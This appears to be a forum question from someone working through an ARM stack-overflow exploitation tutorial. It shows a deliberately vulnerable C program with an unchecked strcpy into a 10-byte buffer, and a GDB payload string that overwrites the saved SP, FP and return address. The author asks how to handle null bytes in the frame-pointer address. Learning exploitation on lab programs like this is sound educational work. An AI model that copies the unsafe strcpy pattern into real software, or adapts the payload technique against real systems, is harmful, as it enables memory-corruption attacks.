I am trying to follow the research paper by Tiger Security for ARM Exploitation : Link
For the simple stack overflow exploitation, the code is :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}
However, when I run it on my Debian ARM Machine running on Qemu, under Ubuntu. Everything runs fine, except the part that when i have to put the addresses which would fill up the Frame Pointer, Stack Pointer and the Return Address.
So the final resulting code to run under GDB (in my case) becomes :
r `printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"`
In my case: Desired
SP : 0xbe8bac94
FP: 0x000084ac
Return Address: 0x00008438
Since the FP contains null bytes in the middle, Is there any way i could use that in my exploitation. Since, its in the middle, i am not able to use \xac\x84.